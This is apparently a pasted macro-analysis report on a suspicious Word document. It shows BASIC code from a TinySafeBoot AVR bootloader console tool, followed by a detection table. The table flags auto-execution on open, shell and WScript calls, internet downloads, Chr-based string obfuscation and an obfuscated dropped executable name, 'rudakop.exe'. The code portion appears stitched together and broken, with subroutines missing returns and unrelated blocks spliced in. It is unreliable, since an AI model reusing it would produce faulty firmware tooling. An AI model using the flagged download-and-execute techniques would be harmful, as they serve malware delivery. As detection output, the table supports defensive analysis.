  826. Sub SendCommand(ByRef astr As String)
  827.  Dim a As ushort
  828.  Dim t As ushort
  829.  Dim bstr As String
  830.  If Len(astr) = 0 Then Exit Sub
  831.  Print #8, astr;
  832.  If OneWireLocalEcho Then
  833.  a = 0
  834.  Do Until a = Len(astr)
  835.  t = Timer + 1
  836.  Do Until (Loc(8)) Or (Timer > t): Loop
  837.  bstr = Input$(1, #8)
  838.  a = a + 1
  839.  Loop
  840.  End If
  841. End Sub
  842. Function RXBuffer() As String
  843.  Dim a As ushort
  844.  Dim t As UInteger
  845.  Dim astr As String
  846.  Dim bstr As String
  847.  t = Timer + 3
  848.  Do Until Loc(8) Or (Timer > t): Loop
  849.  bstr = ""
  850.  t = Timer + 3
  851.  Do Until EOF(8) Or (Timer > t)
  852.  a = Loc(8): sleep 100: a = Loc(8) - a
  853.  If a = 0 Then
  854.  astr = Input$(Loc(8), #8)
  855.  Else: astr = Input$(1, #8)
  856.  End If
  857.  bstr = bstr + astr
  858.  Loop
  859. End Function
  860. Function GetUserData() As ubyte
  861. Dim i As ubyte
  862. Dim bstr As String
  863. SendCommand ("c")
  864. bstr = RXBuffer
  865. Clear LASTPAGE(0), 255, 255
  866. For i = 0 To PAGESIZE - 1: LASTPAGE(i) = Asc(Mid$(bstr, i + 1, 1)): Next i
  867. APPJUMP = (LASTPAGE(0) + LASTPAGE(1) * 256)
  868. If TINYMEGA = 1 Then APPJUMP = 0
  869. TIMEOUT = LASTPAGE(2)
  870. i = 3: PASSWORD = ""
  871. Do Until (i = PAGESIZE) Or (LASTPAGE(i) = 255)
  872.  PASSWORD = PASSWORD + Chr$(LASTPAGE(i))
  873.  i = i + 1
  874. Loop
  875. return (0)
  876. End Function
  877. Function VerifyUserData() As ubyte
  878. Dim i As ubyte
  879. Dim bstr As String
  880. SendCommand ("c")
  881. bstr = RXBuffer
  882. if len(bstr) < 16 then return (255)
  883. if right$(bstr,1) <> CONFIRM then return (255)
  884. For i = 0 To Len(bstr) - 1
  885.  If LASTPAGE(i) <> Asc(Mid$(bstr, i + 1, 1)) Then Exit For
  886. Next i
  887. if i < (Len(bstr)-1) then return (255)
  888. return (0)
  889. End Function
  890. Function Word2Date(ByRef InWord As ushort) As UInteger
  891. Word2Date = (InWord And 31) + _
  892.  ((InWord And 480) \ 32) * 100 + _
  893.  ((InWord And 65024) \ 512) * 10000 _
  894.  + 20000000
  895. End Function
  896. Function ActivateTSB(ByRef Comport As String) As ubyte
  897. Dim bstr As String
  898. if open COM (Comport + Comset for binary as #8) > 0 then return (Err)
  899. sleep 100
  900. Print #8, "@@@";
  901. bstr = RXBuffer
  902. If Left$(bstr, 3) = "@@@" Then
  903.  OneWireLocalEcho = 1
  904.  bstr = Right$(bstr, (Len(bstr) - 3))
  905.  Print
  906.  Print "One-Wire interface detected."
  907. End If
  908. If bstr = "" Then
  909.  line input "Password : ", PASSWORD
  910.  SendCommand (PASSWORD)
  911.  bstr = RXBuffer
  912.  If bstr <> "" Then
  913.  Print: Print "Password ... OK": Print
  914.  else return (255)
  915.  End If
  916. End If
  917. if right$(bstr,1) <> CONFIRM then return (255)
  918. if LCase$(left$(bstr,3)) <> "tsb" then return (255)
  919. Dim BUILDWORD As ushort
  920. TSBIDENT = Left$(bstr, 3)
  921. BUILDWORD = Asc(Mid$(bstr, 4, 1)) + Asc(Mid$(bstr, 5, 1)) * 256
  922. TSBSTATUS = Asc(Mid$(bstr, 6, 1))
  923. SIG000 = Asc(Mid$(bstr, 7, 1))
  924. SIG001 = Asc(Mid$(bstr, 8, 1))
  925. SIG002 = Asc(Mid$(bstr, 9, 1))
  926. PAGESIZE = (Asc(Mid$(bstr, 10, 1))) * 2
  927. APPFLASH = (Asc(Mid$(bstr, 11, 1)) + Asc(Mid$(bstr, 12, 1)) * 256) * 2
  928. FLASHSIZE = ((APPFLASH \ 1024) + 1) * 1024
  929. EEPROMSIZE = (Asc(Mid$(bstr, 13, 1)) + Asc(Mid$(bstr, 14, 1)) * 256) + 1
  930. If (PAGESIZE <> 16) And _
  931.  (PAGESIZE <> 32) And _
  932.  (PAGESIZE <> 64) And _
  933.  (PAGESIZE <> 128) _
  934.  Then
  935.  Print "PAGESIZE NOT VALID - ABORT."
  936.  return (255)
  937. End If
  938. If BUILDWORD < 32768 Then
  939.  TSBBUILD = Word2Date(BUILDWORD)
  940. Else
  941.  TSBBUILD = BUILDWORD + 65536 + 20000000
  942. End If
  943. Select Case Asc(Mid$(bstr, 15, 1))
  944. Case &H0: JMPMODE = 0: TINYMEGA = 0
  945. Case &HC: JMPMODE = 1: TINYMEGA = 0
  946. Case &HAA: JMPMODE = 0: TINYMEGA = 1
  947. End Select
  948. Print
  949. return GetUserData()
  950. End Function
  951. Sub ShowDeviceInfo()
  952.  Print "TINY SAFE BOOTLOADER"
  953.  Print "VERSION : "; TSBBUILD
  954.  Print "STATUS : "; WHex(TSBSTATUS)
  955.  Print "SIGNATURE : "; WHex(SIG000, 2); " "; WHex(SIG001, 2); " "; WHex(SIG002, 2)
  956.  Print "DEVICE : "; SignatureToDevicename(SIG000, SIG001, SIG002)
  957.  Print "FLASH : "; FLASHSIZE
  958.  Print "APPFLASH : "; APPFLASH
  959.  Print "PAGESIZE : "; PAGESIZE
  960.  Print "EEPROM : "; EEPROMSIZE
  961.  Print "APPJUMP : "; WHex(APPJUMP, 4)
  962.  Print "TIMEOUT : "; TIMEOUT
  963.  Print
  964. End Sub
  965. Sub TSBChecksum()
  966. Dim i As ushort
  967. Dim j As ushort
  968. MakeMode:
  969. AAAA = 0
  970. ADDR = 0
  971. astr = LCase$(astr)
  972. Filename = astr
  973. Print
  974. If DatasToArray(Filename) Then
  975.  Print "Sorry, this Device is not in the database yet.": Print
  976.  GoTo GError
  977. End If
  978. If DatasToPortMatrix(Filename) Then
  979.  Print "Matrix error.": Print
  980.  GoTo GError
  981. End If
  982. If AAAA < 250 Then GoTo GError
  983. If Len(Command$(2)) <> 4 Then GoTo GError
  984. If Command$(3) = "" Then
  985.  Filename = "tsb_" + astr + "_" + _
  986.  LCase$(Command$(2)) + "_" + FWnumber$() + ".hex"
  987.  Else: Filename = Command$(3)
  988. End If
  989. astr = UCase$(Command$(2))
  990. a = Asc(Mid$(astr, 1, 1)): If a < 65 Or a > 71 Then GoTo GError
  991. a = a - 65
  992. b = Val(Mid$(astr, 2, 1))
  993. If b > 7 Then Print "Portbit must range from 0 to 7.": GoTo GError
  994. If DEVPORTS(a) = &HFF Then Print "Invalid port assignment.": GoTo GError
  995. RXTXPB(0, 0) = DEVPORTS(a) + 0 + b
  996. RXTXPB(1, 0) = DEVPORTS(a) + 8 + b
  997. RXTXPB(2, 0) = DEVPORTS(a) + 16 + b
  998. a = Asc(Mid$(astr, 3, 1)): If a < 65 Or a > 71 Then GoTo GError
  999. a = a - 65
  1000. b = Val(Mid$(astr, 4, 1))
  1001. If b > 7 Then Print "Portbit must range from 0 to 7.": GoTo GError
  1002. If DEVPORTS(a) = &HFF Then Print "Invalid port assignment.": GoTo GError
  1003. RXTXPB(0, 1) = DEVPORTS(a) + 0 + b
  1004. RXTXPB(1, 1) = DEVPORTS(a) + 8 + b
  1005. RXTXPB(2, 1) = DEVPORTS(a) + 16 + b
  1006. Print "Make TSB from code template: "; Filename
  1007. Print
  1008. Print "RXD = P"; Mid$(astr, 1, 2); " / TXD = P"; Mid$(astr, 3, 2)
  1009. Print
  1010. Do Until ADDR >= AAAA
  1011.  Select Case BINARRAY(ADDR + 1)
  1012.  Case &H98, &H99, &H9A, &H9B
  1013.  select case (BINARRAY (ADDR+0) And &b00000111)
  1014.  Case 0
  1015.  select case (BINARRAY (ADDR+0) And &b11111000)
  1016.  Case DEVPORTS(1) + 0: BINARRAY(ADDR + 0) = RXTXPB(0, 0)
  1017.  Case DEVPORTS(1) + 8: BINARRAY(ADDR + 0) = RXTXPB(1, 0)
  1018.  Case DEVPORTS(1) + 16: BINARRAY(ADDR + 0) = RXTXPB(2, 0)
  1019.  End Select
  1020.  Case 1
  1021.  select case (BINARRAY (ADDR+0) And &b11111000)
  1022.  Case DEVPORTS(1) + 0: BINARRAY(ADDR + 0) = RXTXPB(0, 1)
  1023.  Case DEVPORTS(1) + 8: BINARRAY(ADDR + 0) = RXTXPB(1, 1)
  1024.  Case DEVPORTS(1) + 16: BINARRAY(ADDR + 0) = RXTXPB(2, 1)
  1025.  End Select
  1026.  End Select
  1027.  End Select
  1028.  ADDR = ADDR + 2
  1029.  Print Chr$(13); "Modifying reference code $"; WHex(ADDR, 4); " ... ";
  1030. Loop
  1031. Print "OK"
  1032. Print
  1033. TSBchecksum()
  1034. SaveFromArray()
  1035. Print "Saved TSB firmware file: "; Filename
  1036. Err = 0
  1037. End
  1038. EEPROMread:
  1039. If ActivateTSB(Comport) <> 0 Then GoTo GError
  1040. ADDR = 0
  1041. SendCommand ("e")
  1042. Do
  1043.  SendCommand (CONFIRM)
  1044.  astr = RXBuffer()
  1045.  If Len(astr) < PAGESIZE Then GoTo GError
  1046.  For i = 1 To PAGESIZE
  1047.  BINARRAY(ADDR) = Asc(Mid$(astr, i, 1))
  1048.  Print Chr$(13); "EEPROM READ $"; WHex(ADDR, 3); " ... ";
  1049.  ADDR = ADDR + 1
  1050.  Next
  1051. Loop Until ADDR = EEPROMSIZE
  1052. Print "OK"
  1053. AAAA = EEPROMSIZE : SaveFromArray()
  1054. Print
  1055. GoTo Finished
  1056. EEPROMerase:
  1057. If ActivateTSB(Comport) <> 0 Then GoTo GError
  1058. Print "EEPROM ERASE ... ";
  1059. ADDR = 0
  1060. SendCommand ("E")
  1061. Do Until (RXBuffer <> REQUEST) Or ADDR = EEPROMSIZE
  1062.  SendCommand (CONFIRM)
  1063.  astr = String$(PAGESIZE, Chr$(255))
  1064.  SendCommand (astr)
  1065.  ADDR = ADDR + PAGESIZE
  1066. Loop
  1067. SendCommand (REQUEST)
  1068. If RXBuffer <> CONFIRM Then GoTo GError
  1069. Print "OK"
  1070. GoTo Finished
  1071. EEPROMwrite:
  1072. If LoadToArray <> 0 Then GoTo GError
  1073. If ActivateTSB(Comport) <> 0 Then GoTo GError
  1074. If AAAA > EEPROMSIZE Then Print "File too long!": GoTo Finished
  1075. ADDR = 0
  1076. AAAA = (((AAAA - 1) \ PAGESIZE) + 1) * PAGESIZE
  1077. SendCommand ("E")
  1078. Do Until (RXBuffer <> REQUEST) Or ADDR = AAAA
  1079.  SendCommand (CONFIRM)
  1080.  astr = ""
  1081.  For i = 1 To PAGESIZE
  1082.  astr = astr + Chr$(BINARRAY(ADDR))
  1083.  ADDR = ADDR + 1
  1084.  Next i
  1085.  SendCommand (astr)
  1086.  Print Chr$(13); "EEPROM WRITE $"; WHex(ADDR - 1, 3); " ... ";
  1087. Loop
  1088. SendCommand (REQUEST)
  1089. If RXBuffer <> CONFIRM Then GoTo GError
  1090. Print "OK"
  1091. GoTo Finished
  1092. EEPROMverify:
  1093. If ActivateTSB(Comport) <> 0 Then GoTo GError
  1094. If LoadToArray <> 0 Then GoTo GError
  1095. If AAAA > EEPROMSIZE Then Print "File too long!": GoTo Finished
  1096. ADDR = 0
  1097. SendCommand ("e")
  1098. Do
  1099.  SendCommand (CONFIRM)
  1100.  astr = RXBuffer
  1101.  If Len(astr) < PAGESIZE Then GoTo GError
  1102.  For i = 1 To PAGESIZE
  1103.  Print Chr$(13); "EEPROM VERIFY $"; WHex(ADDR, 3); " ... ";
  1104.  If BINARRAY(ADDR) <> Asc(Mid$(astr, i, 1)) Then Exit Do
  1105.  ADDR = ADDR + 1
  1106.  Next i
  1107. Loop Until ADDR = EEPROMSIZE
  1108. If ADDR = EEPROMSIZE Or Right$(astr, 1) = CONFIRM Then
  1109.  Print "OK"
  1110.  Else
  1111.  Beep
  1112.  Print "--- ERROR! ---"
  1113. End If
  1114. GoTo Finished
  1115. FLASHread:
  1116. If ActivateTSB(Comport) <> 0 Then GoTo GError
  1117. ADDR = 0
  1118. AAAA = APPFLASH
  1119. SendCommand ("f")
  1120. Do
  1121.  SendCommand (CONFIRM)
  1122.  astr = RXBuffer
  1123.  If Len(astr) < PAGESIZE Then GoTo GError
  1124.  For i = 1 To PAGESIZE
  1125.  BINARRAY(ADDR) = Asc(Mid$(astr, i, 1))
  1126.  ADDR = ADDR + 1
  1127.  Next i
  1128.  Print Chr$(13); "FLASH READ $"; WHex(ADDR - 1, 4); " ... ";
  1129. Loop Until ADDR = APPFLASH
  1130. Print "OK"
  1131. Print
  1132. Do Until (Asc(Mid$(bstr, i + 1, 1)) < 255) Or (i > 255)
  1133.  i = i + 1
  1134. Loop
  1135. If i <> 32 And i <> 64 And i <> 128 Then GoTo GError
  1136. Print "Emergency Erase successfull! TSB restored to defaults."
  1137. GoTo Finished
  1138. HelpScreen:
  1139. Print "-------------------------------------------------------------------------------"
  1140. Print "Console Tool for TinySafeBoot, the tiny and safe AVR bootloader SW:";
  1141. Print ""
  1142. End
  1143. Licensenote:
  1144. Print
  1145. Print "TSB - Console Tool for TinySafeBoot, the tiny and safe AVR bootloader"
  1146. Print
  1147. End
  1148. GError:
  1149. Close
  1150. Print: Print "ERROR."
  1151. Print
  1152. End
  1153. Finished:
  1154. DeactivateTSB
  1155. Print
  1156. Close
  1157. Err = 0
  1158. End
  1159.  
  1160.  
  1161.  
  1162.  
  1163. +------------+----------------------+-----------------------------------------+
  1164. | Type       | Keyword              | Description                             |
  1165. +------------+----------------------+-----------------------------------------+
  1166. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  1167. | Suspicious | Open                 | May open a file                         |
  1168. | Suspicious | Shell                | May run an executable file or a system  |
  1169. |            |                      | command                                 |
  1170. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1171. |            |                      | command                                 |
  1172. | Suspicious | Windows              | May enumerate application windows (if   |
  1173. |            |                      | combined with Shell.Application object) |
  1174. | Suspicious | Shell.Application    | May run an application (if combined     |
  1175. |            |                      | with CreateObject)                      |
  1176. | Suspicious | Binary               | May read or write a binary file (if     |
  1177. |            |                      | combined with Open)                     |
  1178. | Suspicious | CreateObject         | May create an OLE object                |
  1179. | Suspicious | DownloadFile         | May download files from the Internet    |
  1180. |            |                      | using PowerShell                        |
  1181. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1182. |            |                      | strings                                 |
  1183. | Suspicious | Write                | May write to a file (if combined with   |
  1184. |            |                      | Open)                                   |
  1185. | Suspicious | Print #              | May write to a file (if combined with   |
  1186. |            |                      | Open)                                   |
  1187. | Suspicious | URLDownloadToFileA   | May download files from the Internet    |
  1188. | Suspicious | Lib                  | May run code from a DLL                 |
  1189. | Suspicious | Hex Strings          | Hex-encoded strings were detected, may  |
  1190. |            |                      | be used to obfuscate strings (option    |
  1191. |            |                      | --decode to see all)                    |
  1192. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1193. |            | Strings              | may be used to obfuscate strings        |
  1194. |            |                      | (option --decode to see all)            |
  1195. | IOC        | rudakop.exe          | Executable file name (obfuscation: VBA  |
  1196. |            |                      | expression)                             |
  1197. | VBA string | \rudakop.exe         | "\" + "rudakop" + Chr(46) + "e" + "" +  |
  1198. |            |                      | "" + "" + "xe"                          |
  1199. | VBA string |
  1200.                     | Chr$(13)                                |
  1201. +------------+----------------------+-----------------------------------------+
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement